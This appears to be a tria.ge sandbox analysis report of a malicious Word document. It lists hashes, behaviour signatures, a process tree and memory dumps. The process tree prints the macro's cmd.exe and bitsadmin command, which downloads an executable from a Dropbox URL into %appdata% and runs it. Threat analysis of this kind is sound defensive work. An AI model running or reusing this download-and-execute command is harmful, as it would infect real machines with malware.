Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    101s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    11/09/2024, 19:56

General

  • Target

    db1dda0772c81f143e71e55da4564d95_JaffaCakes118.doc

  • Size

    109KB

  • MD5

    db1dda0772c81f143e71e55da4564d95

  • SHA1

    7217dd2c9da7dd0129fefaecd65a98561a3c4010

  • SHA256

    0d8ad63d513a9b6f03056a3134b3c258610771388215e2c5e7b08233bf2b1ad6

  • SHA512

    ba1f07d19e025ab42187af56f04e0b7d7dcfe74d805ded5a725acb1f4b7277ed8e791704e6876b51e6aecc9b80181c89d8e363ec898c76f45eaf2818017e571d

  • SSDEEP

    768:p3th9csVk6tWdmUx7mOUPwAy91LSi4TSUaThfFlNGD0xz99EQ:p3pZkscv7mvPw5qi4TSlThDNGD03C

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\db1dda0772c81f143e71e55da4564d95_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1760
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2888
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c "waitfor /t 5 YKERQ & bitsadmin /transfer UKEF /download /priority normal https://www.dropbox.com/s/zyqadrxqxq8ac0s/1qesyozananrivoxityof.exe?dl=1 %appdata%\dfvuau.exe &start %appdata%\dfvuau.exe"
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2748
        • C:\Windows\SysWOW64\waitfor.exe
          waitfor /t 5 YKERQ
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2044
        • C:\Windows\SysWOW64\bitsadmin.exe
          bitsadmin /transfer UKEF /download /priority normal https://www.dropbox.com/s/zyqadrxqxq8ac0s/1qesyozananrivoxityof.exe?dl=1 C:\Users\Admin\AppData\Roaming\dfvuau.exe
          3⤵
          • Download via BitsAdmin
          • System Location Discovery: System Language Discovery
          PID:2120

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      ff99db3d22dbfb66a152889b55174b95

      SHA1

      691de8b8d1fe877b6f7b75360b68076d73ee349c

      SHA256

      0cb3728a9a5a982948e310ebac26319e5a8625a00f04943015a6f3359ac00337

      SHA512

      80413a7fce5ee164fa0cf4873925813c776355bfad166e21fbe8ef114020fe8776f96380c0ff37888df80caceb4c10101716525744e152b1f9ccd3e5aa982072

    • memory/1760-18-0x0000000005D30000-0x0000000005E30000-memory.dmp

      Filesize

      1024KB

    • memory/1760-2-0x000000007152D000-0x0000000071538000-memory.dmp

      Filesize

      44KB

    • memory/1760-7-0x0000000005D30000-0x0000000005E30000-memory.dmp

      Filesize

      1024KB

    • memory/1760-17-0x0000000005D30000-0x0000000005E30000-memory.dmp

      Filesize

      1024KB

    • memory/1760-19-0x0000000005D30000-0x0000000005E30000-memory.dmp

      Filesize

      1024KB

    • memory/1760-0-0x000000002FCA1000-0x000000002FCA2000-memory.dmp

      Filesize

      4KB

    • memory/1760-21-0x000000007152D000-0x0000000071538000-memory.dmp

      Filesize

      44KB

    • memory/1760-36-0x0000000005D30000-0x0000000005E30000-memory.dmp

      Filesize

      1024KB

    • memory/1760-37-0x0000000005D30000-0x0000000005E30000-memory.dmp

      Filesize

      1024KB

    • memory/1760-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1760-59-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1760-60-0x000000007152D000-0x0000000071538000-memory.dmp

      Filesize

      44KB